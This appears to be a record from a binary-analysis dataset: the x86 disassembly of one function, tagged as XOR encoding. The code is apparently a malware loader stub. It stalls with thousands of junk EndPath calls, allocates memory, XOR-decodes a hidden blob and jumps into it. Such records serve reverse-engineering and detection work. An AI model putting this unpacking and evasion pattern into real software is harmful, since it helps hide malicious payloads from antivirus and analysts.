Function at 0x41548c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x4c], 0x1001
mov dword [ebp - 0x50], 0x11e
push 0x41568c
push 0xa
mov ecx, dword [0x417660]
mov dl, 1
mov eax, dword [0x40f938]
call fcn.00411b8c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], esp
add dword [ebp - 4], 0xb0
mov dword [ebp - 8], ebp
add dword [ebp - 8], 0x64
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
lea ecx, [0x417660]
mov eax, dword [ecx - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ecx - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0x20a53c3
push 0
call sub.gdi32.dll_EndPath
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x4154ff
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], 0x7b
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
call fcn.00411828
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x86
mov dword [ebp - 0x3c], 0x15
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x54], 0x8a58a
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
call fcn.00405850
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x40]
jae 0x4155f9
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x38]
call fcn.00405848
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x44], eax
push 0
call sub.gdi32.dll_EndPath
add eax, dword [ebp - 0x3c]
add dword [ebp - 0x44], eax
jmp 0x4155c2
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jae 0x415647
push 0
call sub.gdi32.dll_EndPath
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add edx, dword [ebp - 0x18]
add eax, edx
mov edx, dword [ebp - 0x28]
mov dword [edx], eax
push 0
call sub.gdi32.dll_EndPath
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 0x28]
xor dword [eax], edx
add dword [ebp - 0x18], 4
push 0
call sub.gdi32.dll_EndPath
add eax, 4
add dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jb 0x415601
mov dword [ebp - 0x30], 0x5630
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
add dword [ebp - 0x14], 4
sub dword [ebp - 0x14], 0x1000
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [0x417660]
mov eax, 1
push eax
jmp dword [ebp - 0x14]